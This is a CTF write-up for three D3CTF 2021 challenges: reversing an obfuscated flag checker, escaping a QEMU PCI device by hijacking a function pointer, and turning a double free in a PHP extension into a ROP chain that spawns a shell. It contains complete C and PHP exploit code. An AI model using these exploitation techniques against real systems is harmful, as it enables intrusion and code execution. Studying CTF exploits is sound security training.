D3CTF 2021 partly writeup

Github: https://github.com/Ex-Origin/ctf-writeups/tree/master/d3ctf2021.

Ancient

The program doesn't use CODE optimizations, so it's just mostly the same as the source, but with some unexpected junk codes. Remove those instructions, then we can disassemble it normally.

Address Length Original bytes Patched bytes
0000000000401844 0x9 0x9 74 07 0F 80 87 48 83 C4 08 90 90 90 90 90 90 90 90 90
000000000040184F 0x8 0x8 E8 02 00 00 00 0F 85 59 90 90 90 90 90 90 90 90
000000000040185B 0x7 74 05 0F 48 83 C4 08 90 90 90 90 90 90 90
000000000040188F 0x7 74 05 80 48 83 C4 08 90 90 90 90 90 90 90

At first, locating 0x401ed4 by the string Wrong. You fail to get it.

ex@ubuntu-hp:~/d3ctf/ancient$ ./ancient 
This is an ancient string, it represents the origin of all binary characters, isn't it. Let me see, it says 0,1,2,3,4,5,6,7...
Please input the flag:
a
Wrong. You fail to get it.

It's marked at A in disassembling the source below. Then according to the control flow of this application, we can locate 0x401c93, or a say on, B.

__int64 __fastcall main(int a1, char **a2, char **a3)
{
    ...

    v14 = malloc(0x170uLL);
    sub_402110((__int64)&unk_407498, 16);
    sub_402B60((__int64)&unk_407498);
    v15 = 0;
    sub_403500((__int64)v14, (__int64)&xmmword_407370, (_BYTE *)184, (__int64)&unk_407498, 126, 0);
    int_value = 0;
    v16 = *(_BYTE *)qword_407328;
    if ( *(_BYTE *)qword_407328 )
    {
      v17 = 0LL;
      v18 = 0;
C:    do                                        // count
      {
        if ( !v18 )
          v18 = 1;
        if ( v16 != v14[v17] )
          break;
        v15 += v18;
        if ( v15 > 178 )
          break;
        v17 = v15;
        v16 = *(_BYTE *)(qword_407328 + v15);
      }
      while ( v16 );
      int_value = v15;
    }
    sub_401820(&int_value);
B:  if ( int_value < 178 )
    {                                           // wrong
      if ( !(_BYTE)byte_407738 && __cxa_guard_acquire(&byte_407738) )
      {
        qword_407730 = 0x2E24004940415C79LL;
        __cxa_atexit(sub_402070, &qword_407730, &unk_4070A8);
        __cxa_guard_release(&byte_407738);
      }
      v19 = (const char *)&qword_407730;
      if ( HIBYTE(qword_407730) )
      {
        LOBYTE(qword_407730) = qword_407730 ^ 0x2E;
        BYTE1(qword_407730) ^= 0x2Eu;
        BYTE2(qword_407730) ^= 0x2Eu;
        BYTE3(qword_407730) ^= 0x2Eu;
        BYTE4(qword_407730) ^= 0x2Eu;
        BYTE5(qword_407730) ^= 0x2Eu;
        BYTE6(qword_407730) ^= 0x2Eu;
        HIBYTE(qword_407730) ^= 0x2Eu;
      }
    }
    else
    {
      if ( !(_BYTE)byte_407728 && __cxa_guard_acquire(&byte_407728) )// success
      {
        *(_QWORD *)qword_407718 = 0xF5D5D4B4D4D5B7DLL;
        word_407720 = 11812;
        __cxa_atexit(sub_402060, qword_407718, &unk_4070A8);
        __cxa_guard_release(&byte_407728);
      }
      v19 = qword_407718;
      if ( HIBYTE(word_407720) )
      {
        qword_407718[0] ^= 0x2Eu;
        qword_407718[1] ^= 0x2Eu;
        qword_407718[2] ^= 0x2Eu;
        qword_407718[3] ^= 0x2Eu;
        qword_407718[4] ^= 0x2Eu;
        qword_407718[5] ^= 0x2Eu;
        qword_407718[6] ^= 0x2Eu;
        qword_407718[7] ^= 0x2Eu;
        LOBYTE(word_407720) = word_407720 ^ 0x2E;
        HIBYTE(word_407720) ^= 0x2Eu;
      }
    }
    v11 = strlen(v19);
    output = (char *)v19;                       // success
  }
  else
  {
A:  if ( !(_BYTE)byte_407710 && __cxa_guard_acquire(&byte_407710) )
    {
      *(_OWORD *)str_ptr = xmmword_405030;
      qword_407700 = 'p9mv~9vm';
      dword_407708 = '\x19\x137m';
      __cxa_atexit(sub_402050, str_ptr, &unk_4070A8);
      __cxa_guard_release(&byte_407710);
    }
    sub_4020C0((__m128 *)str_ptr);
    v11 = strlen(str_ptr);
    output = str_ptr;
  }
  std::__ostream_insert<char,std::char_traits<char>>(std::cout, output, v11);
  return 0LL;
}

At least, 178 or greater is required by the int_value, that we can go to the success, according to the disassembling source above.

int_value has been counted at 0x401bb3(position C), it can be matched at most 178 times, so we must get the whole binary content which length is 178.

It's fixed result by sub_402110 and sub_402110, I don't know the role in the application clearly about sub_403500, and guest it's just multiplication with two big numbers. As the operation is stable that high bits don't affect the low bits, we can crack the flag byte by byte.

Finally, we can get the flag.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/mman.h>

unsigned char key[] = {
    0x54, 0x67, 0x69, 0x73, 0x20, 0x69, 0x73, 0x20, 0x61, 0x6e, 0x20, 0x61,
    0x6e, 0x63, 0x69, 0x65, 0x6e, 0x74, 0x20, 0x73, 0x74, 0x72, 0x69, 0x6e,
    0x67, 0x2c, 0x20, 0x69, 0x74, 0x20, 0x72, 0x65, 0x70, 0x72, 0x65, 0x73,
    0x65, 0x6e, 0x74, 0x73, 0x20, 0x74, 0x68, 0x65, 0x20, 0x6f, 0x72, 0x69,
    0x67, 0x69, 0x6e, 0x20, 0x6f, 0x66, 0x20, 0x61, 0x6c, 0x6c, 0x20, 0x62,
    0x69, 0x6e, 0x61, 0x72, 0x79, 0x20, 0x63, 0x68, 0x61, 0x72, 0x61, 0x63,
    0x74, 0x65, 0x72, 0x73, 0x2c, 0x20, 0x69, 0x73, 0x6e, 0x27, 0x74, 0x20,
    0x69, 0x74, 0x2e, 0x20, 0x4c, 0x65, 0x74, 0x20, 0x6d, 0x65, 0x20, 0x73,
    0x65, 0x65, 0x2c, 0x20, 0x69, 0x74, 0x20, 0x73, 0x61, 0x79, 0x73, 0x20,
    0x30, 0x2c, 0x31, 0x2c, 0x32, 0x2c, 0x33, 0x2c, 0x34, 0x2c, 0x35, 0x2c,
    0x36, 0x2c, 0x37, 0x2e, 0x2e, 0x2e, 0x67, 0xf3, 0xa3, 0xca, 0x23, 0x58,
    0xa3, 0xd1, 0xf8, 0xc1, 0x96, 0xe3, 0xd7, 0x85, 0x85, 0xfe, 0xbe, 0x7b,
    0xd2, 0x82, 0x59, 0xf4, 0xd8, 0xf0, 0x5f, 0xf5, 0xe2, 0x55, 0xe5, 0x2c,
    0x14, 0xdc, 0xd6, 0xf4, 0x60, 0xf9, 0x89, 0x84, 0x0c, 0x70, 0x50, 0xb8,
    0xf5, 0xde, 0x7f, 0xff, 0x5a, 0xc8, 0x8d, 0x61, 0xf0, 0x02};
unsigned int key_len = 178;

unsigned char fixed[0x1000];

unsigned char printable[] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789";
#define LEN (sizeof(printable) - 1)

inline static int same(unsigned char *a, unsigned char *b)
{
    int i;
    for (i = 0; i < key_len; i++)
    {
        if (*a == *b)
        {
            a++;
            b++;
        }
        else
        {
            break;
        }
    }
    return i - 131;
}

int main()
{
    int fd, i, ii, iii, offset, temp;
    unsigned char output[0x800], input[0x800] = "This is an ancient string, it represents the origin of all binary characters, isn't it."
                                                " Let me see, it says 0,1,2,3,4,5,6,7..."
                                                "d3ctf{w0W_sEems_u_bRe4k_uP_tHe_H1DdeN_s7R_By_Ae1tH_c0De}";

    fd = open("bin", O_RDONLY);
    mmap((void *)0x400000, 32768, PROT_EXEC | PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_FIXED | MAP_DENYWRITE, fd, 0);
    close(fd);

    *(size_t *)0x407080 = (size_t)malloc;

    mprotect((void *)0x400000, 32768, PROT_EXEC | PROT_READ);

    ((void (*)(unsigned char *, int))0x402110)(fixed, 16);
    ((void (*)(unsigned char *))0x402B60)(fixed);

    memset(output, 0, sizeof(output));
    offset = 178;
    printf("%c%c\n\n", input[offset - 2], input[offset - 1]);

    for (i = 0; i < LEN; i++)
    {
        for (ii = 0; ii < LEN; ii++)
        {
            for (iii = 0; iii < LEN; iii++)
            {
                input[offset] = printable[i];
                input[offset + 1] = printable[ii];
                input[offset + 2] = printable[iii];

                ((void (*)(unsigned char *, int))0x402110)(fixed, 16);
                ((void (*)(unsigned char *))0x402B60)(fixed);
                ((void (*)(unsigned char *, unsigned char *, int, unsigned char *, int, int))0x403500)(output, input, 184, fixed, 126, 0);
                temp = same(key, output);
                if (44 <= temp)
                {
                    printf("%d: %c%c%c\n", temp, printable[i], printable[ii], printable[iii]);
                    // exit(EXIT_SUCCESS);
                }
            }
        }
    }

    return 0;
}

d3ctf{w0W_sEems_u_bRe4k_uP_tHe_H1DdeN_s7R_By_Ae1tH_c0De}

d3dev

It's a review based on the master of remilia.

First of all, I run the Findcrypt which is an IDA plugin and know it involves TEA crypt.

Address Rules file Name String Value
.text:00000000004D7B3A global TEAN_4D7B3A $c0 b' 7\xef\xc6'
.text:00000000004D7CD9 global TEAN_4D7CD9 $c0 b' 7\xef\xc6'
.text:00000000004D7B8C global TEA_DELTA_4D7B8C $c1 b'G\x86\xc8a'
.text:00000000004D7CA6 global TEA_DELTA_4D7CA6 $c1 b'G\x86\xc8a'

Then searching for the symbol about the plaintext of TEA crypt by IDA, guessing rules of the control with the help of debuger.


  v3 = *((_QWORD *)opaque + *((_DWORD *)opaque + 689) + (unsigned int)(addr >> 3) + 347);

addr = rsi              ; hwaddr
opaque = rdi            ; void *
.text:00000000004D7B05                 shr     addr, 3
.text:00000000004D7B0D                 add     esi, [opaque+0AC4h]
d3dev = rdi             ; d3devState *
.text:00000000004D7B2A                 mov     rax, [d3dev+rsi*8+0AD8h]

Guess the structure by static analysis:

struct opaque

00000ac0 unknown         dd
00000ac4 buffer_offset   dd
...
00000ad4 arg             dd
00000ad8 buffer          dq ? dup(?)
...
000012e0 tea_key         dd 4 dup(?)
000012f0 func            dq
...

We can get the key from d3dev_pmio_read.

uint64_t __fastcall d3dev_pmio_read(struct_opaque *opaque, hwaddr addr, unsigned int size)
{
  uint64_t result; // rax

  if ( addr > 0x18 )
    return -1LL;
  switch ( (unsigned __int64)jpt_4D7D18 + jpt_4D7D18[addr] )
  {
    case 0uLL:
      result = (unsigned int)opaque->unknown;
      break;
    case 8uLL:
      result = (unsigned int)opaque->buffer_offset;
      break;
    case 0xCuLL:
      result = (unsigned int)opaque->key[0];
      break;
    case 0x10uLL:
      result = (unsigned int)opaque->key[1];
      break;
    case 0x14uLL:
      result = (unsigned int)opaque->key[2];
      break;
    case 0x18uLL:
      result = (unsigned int)opaque->key[3];
      break;
    default:
      return -1LL;
  }
  return result;
}

And resetting key is enabled by d3dev_pmio_write.

void __fastcall d3dev_pmio_write(struct_opaque *opaque, hwaddr addr, uint64_t val, unsigned int size)
{
  int *v4; // rbp

  if ( addr == 8 )
  {
    if ( val <= 0x100 )
      opaque->buffer_offset = val;
  }
  else if ( addr > 8 )
  {
    if ( addr == 28 )
    {
      opaque->arg = val;
      v4 = opaque->key;
      do
        *v4++ = opaque->func((char *)&opaque->arg);
      while ( v4 != (int *)&opaque->func );
    }
  }
  else if ( addr )
  {
    if ( addr == 4 )
    {
      *(_QWORD *)opaque->key = 0LL;
      *(_QWORD *)&opaque->key[2] = 0LL;
    }
  }
  else
  {
    opaque->unknown = val;
  }
}

Although the length of buffer is only 0x800 bytes, it will be changed when we increase buffer_offset. So we can get shell at that setting buffer_offset into 0x100 which we can hijack the function pointer - func.

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/mman.h>
#include <sys/io.h>

char *mmio_mem;

inline static unsigned int mmio_read(unsigned int addr)
{
    unsigned int *mmio = (unsigned int *)((size_t)mmio_mem + addr);
    return *(mmio);
}

inline static void mmio_write(long addr, unsigned int val)
{
    unsigned int *mmio = (unsigned int *)((size_t)mmio_mem + addr);
    *(mmio) = val;
}

#define IO_PORT 0xc040

inline static size_t pmio_read(size_t addr)
{
    size_t pmio = IO_PORT + addr;
    return inl(pmio);
}

inline static void pmio_write(size_t addr, size_t val)
{
    size_t pmio = IO_PORT + addr;
    outl(val, pmio);
}

#define DELTA 0x61C88647

void tea_encrypt(uint32_t *v, uint32_t *k)
{
    uint32_t v0 = v[0], v1 = v[1], sum = 0, i;           /* set up */
    uint32_t delta = DELTA;                              /* a key schedule constant */
    uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3]; /* cache key */
    for (i = 0; i < 32; i++)
    { /* basic cycle start */
        sum -= delta;
        v0 += ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);
        v1 += ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);
    } /* end cycle */
    v[0] = v0;
    v[1] = v1;
}

void tea_decrypt(uint32_t *v, uint32_t *k)
{
    uint32_t v0 = v[0], v1 = v[1], sum = 0xC6EF3720, i;  /* set up */
    uint32_t delta = DELTA;                              /* a key schedule constant */
    uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3]; /* cache key */
    for (i = 0; i < 32; i++)
    { /* basic cycle start */
        v1 -= ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);
        v0 -= ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);
        sum += delta;
    } /* end cycle */
    v[0] = v0;
    v[1] = v1;
}

size_t readword(size_t addr)
{
    unsigned int key[4] = {0};
    unsigned int value[2] = {0};

    value[0] = mmio_read(addr);
    value[1] = mmio_read(addr);
    tea_encrypt(value, key);

    return value[1] * 0x100000000 + value[0];
}

void writeword(size_t addr, size_t val)
{
    unsigned int key[4] = {0};
    unsigned int value[2] = {0};

    value[0] = val;
    value[1] = val >> 32;
    tea_decrypt(value, key);
    mmio_write(addr, value[0]);
    mmio_write(addr, value[1]);
}

int main()
{
    int mmio_fd;
    size_t value;
    size_t libc_addr, system_addr;
    int i;

    // Open and map I/O memory for the string device
    mmio_fd = open("/sys/devices/pci0000:00/0000:00:03.0/resource0", O_RDWR | O_SYNC);
    if (mmio_fd == -1)
    {
        perror("open");
        exit(EXIT_FAILURE);
    }
    mmio_mem = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
    if (mmio_mem == MAP_FAILED)
    {
        perror("mmap");
        exit(EXIT_FAILURE);
    }
    iopl(3);
    pmio_write(4, 0);     // Set key to 0, 0, 0, 0
    pmio_write(8, 0x100); // set buffer_offset = 0x100
    libc_addr = readword(0x18) - 0x4aeb0;
    printf("libc_addr: %#lx\n", libc_addr);

    system_addr = libc_addr + 0x55410;
    writeword(0x18, system_addr);
    value = readword(0x18);

#if 1
    pmio_write(8, 0); // set buffer_offset = 0x100
    writeword(0, 0x2026262067616c66);
    writeword(8, 0x68732f6e69622f);
    pmio_write(28, 0x20746163); // system("cat ""flag && /bin/sh");
#else
    pmio_write(28, 0x6873); // system("sh");
#endif

    return 0;
}

hackphp

It's a review based on the master of haivk.

Test each function.

hackphp_create:

hackphp_create(0x61);
.text:00000000000013A7                 call    __emalloc

 RIP  0x7f5fb19603a7 (zif_hackphp_create+55) ◂— call   0x7f5fb19601f0
───────────────────────────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────────────────────────
 ► 0x7f5fb19603a7 <zif_hackphp_create+55>    call   _emalloc@plt <_emalloc@plt>
        rdi: 0x61

hackphp_edit:

hackphp_create(0x61);
hackphp_edit("abcd");
.text:000000000000150A                 call    _memcpy

 RIP  0x7f032c3d450a (zif_hackphp_edit+138) ◂— call   0x7f032c3d41c0
───────────────────────────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────────────────────────
 ► 0x7f032c3d450a <zif_hackphp_edit+138>    call   memcpy@plt <memcpy@plt>
        dest: 0x7f0329c7d000 —▸ 0x7f0329c7d070 —▸ 0x7f0329c7d0e0 —▸ 0x7f0329c7d150 —▸ 0x7f0329c7d1c0 ◂— ...
        src: 0x7f0329c02538 ◂— 0x7f0064636261 /* 'abcd' */
        n: 0x4

hackphp_get:

hackphp_create(0x61);
hackphp_edit("abcd");
$v = hackphp_get();
var_dump($v);

$ php exp.php
string(6) "abcd�"

It will form complete exploitation with the double free that is contained in the module.

In the end, leaking and hijacking.

<?php

$buf_addr = 0;
$c = 0;

function str_to_long($arg_str){

    $result = ord($arg_str[0]) + (ord($arg_str[1]) << 8) + (ord($arg_str[2]) << 16) + (ord($arg_str[3]) << 24) +
            (ord($arg_str[4]) << 32) + (ord($arg_str[5]) << 40) + (ord($arg_str[6]) << 48) + (ord($arg_str[7]) << 56);

    return $result;
}

function readword($addr){
    global $buf_addr;
    global $c;

    if($buf_addr){
        if($addr > $buf_addr){
            $offset = $addr - $buf_addr;
        }else{
            $offset = $addr - $buf_addr + 1;
        }
        return ord($c->var[0 + $offset]) + (ord($c->var[1 + $offset]) << 8) + (ord($c->var[2 + $offset]) << 16) + (ord($c->var[3 + $offset]) << 24) +
        (ord($c->var[4 + $offset]) << 32) + (ord($c->var[5 + $offset]) << 40) + (ord($c->var[6 + $offset]) << 48) + (ord($c->var[7 + $offset]) << 56);
    }else{
        return 0;
    }
}

function writeword($addr, $value){
    global $buf_addr;
    global $c;

    if($buf_addr){
        $offset = $addr - $buf_addr;
        $c->var[0 + $offset] = chr(($value >> 0) & 0xff);
        $c->var[1 + $offset] = chr(($value >> 8) & 0xff);
        $c->var[2 + $offset] = chr(($value >> 16) & 0xff);
        $c->var[3 + $offset] = chr(($value >> 24) & 0xff);
        $c->var[4 + $offset] = chr(($value >> 32) & 0xff);
        $c->var[5 + $offset] = chr(($value >> 40) & 0xff);
        $c->var[6 + $offset] = chr(($value >> 48) & 0xff);
        $c->var[7 + $offset] = chr(($value >> 56) & 0xff);
    }
}

class phpClass {
    var $var = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";

    function myfunc ($str) {
       echo $str;
    }
}

hackphp_create(0x38); // buf = emalloc(0x38); free(buf);
$d = new phpClass(); // $d = emalloc(0x38);

hackphp_edit("aaaaaaaaaaaaaaaabbbbbbbb");
$r = hackphp_get();

$php_base_addr = str_to_long(substr($r, 0x18) . "\0\0\0\0\0\0\0\0") - 0xffe520;
echo "php_base_addr: ";
echo dechex($php_base_addr). PHP_EOL;

hackphp_create(0x38); // buf = emalloc(0x38); free(buf);
$d = new phpClass(); // $d = emalloc(0x38);

hackphp_edit("aaaaaaaaaaaaaaaaa");
$r = hackphp_get();

$memory_addr = str_to_long(substr($r, 0x10) . "\0\0\0\0\0\0\0\0") - 0x61;
echo "memory_addr: ";
echo dechex($memory_addr). PHP_EOL;

$buf_addr = $memory_addr + 0x85ea0;
echo "buf_addr: ";
echo dechex($buf_addr). PHP_EOL;
$buf_addr = $buf_addr + 0x18;

$c = new phpClass(); // emalloc(0x38);

hackphp_create(0x98);  // buf = emalloc(0x98); free(buf);
$c->var[0] = 'b';      // malloc(0x98) -> buf

/* Hijack length to -1 */
hackphp_edit("\x01\x00\x00\x00\x06\x00\x00\x00" . "\x00\x00\x00\x00\x00\x00\x00\x00" . "\xff\xff\xff\xff\xff\xff\xff\xff");

$libc_addr = readword($php_base_addr + 0xFFF5E0 ) - 0x85a90;
echo "libc_addr: ";
echo dechex($libc_addr). PHP_EOL;

$system_addr = $libc_addr + 0x55410;
echo "system_addr: ";
echo dechex($system_addr). PHP_EOL;
$_main_ret = $php_base_addr + 0x51d402;
echo "_main_ret: ";
echo dechex($_main_ret). PHP_EOL;

$stack_addr = readword($libc_addr + 0x1ec440) & (~0xf);
echo "stack_addr: ";
echo dechex($stack_addr). PHP_EOL;

$stack = 0;
for($i = 0; $i < 0x100000; $i += 8){
    if(readword($stack_addr - $i) == $_main_ret){
        $stack = $stack_addr - $i;
        echo "stack: ";
        echo dechex($stack). PHP_EOL;
        break;
    }
}

if(1){
    writeword($stack + 0, $libc_addr + 0x0000000000026b72); // pop rdi ; ret
    writeword($stack + 8, $stack + 64); // "/readflag"
    writeword($stack + 16, $libc_addr + 0x0000000000027529); // pop rsi ; ret
    writeword($stack + 24, $stack + 80); // ["/readflag", ""]
    writeword($stack + 32, $libc_addr + 0x000000000011c371); // pop rdx; pop r12; ret; 
    writeword($stack + 40, $stack + 48); // [""]
    writeword($stack + 48, 0); //  ""
    writeword($stack + 56, $libc_addr + 0xe62f0); // execve("/readflag", ["/readflag", ""], [""])
    writeword($stack + 64, 7020098500480561711); // /readfla
    writeword($stack + 72, 103); // /g
    writeword($stack + 80, $stack + 64); // "/readflag"
    writeword($stack + 88, 0); // ""
}else{
    writeword($stack + 0, $libc_addr + 0x0000000000026b72); // pop rdi ; ret
    writeword($stack + 8, $stack + 64); // "/bin/sh"
    writeword($stack + 16, $libc_addr + 0x0000000000027529); // pop rsi ; ret
    writeword($stack + 24, $stack + 80); // ["/bin/sh", ""]
    writeword($stack + 32, $libc_addr + 0x000000000011c371); // pop rdx; pop r12; ret; 
    writeword($stack + 40, $stack + 48); // [""]
    writeword($stack + 48, 0); //  ""
    writeword($stack + 56, $libc_addr + 0xe62f0); // execve("/bin/sh", ["/bin/sh", ""], [""])
    writeword($stack + 64, 0x68732f6e69622f); // /bin/sh
    writeword($stack + 72, 0); // 
    writeword($stack + 80, $stack + 64); // "/bin/sh"
    writeword($stack + 88, 0); // ""
}

?>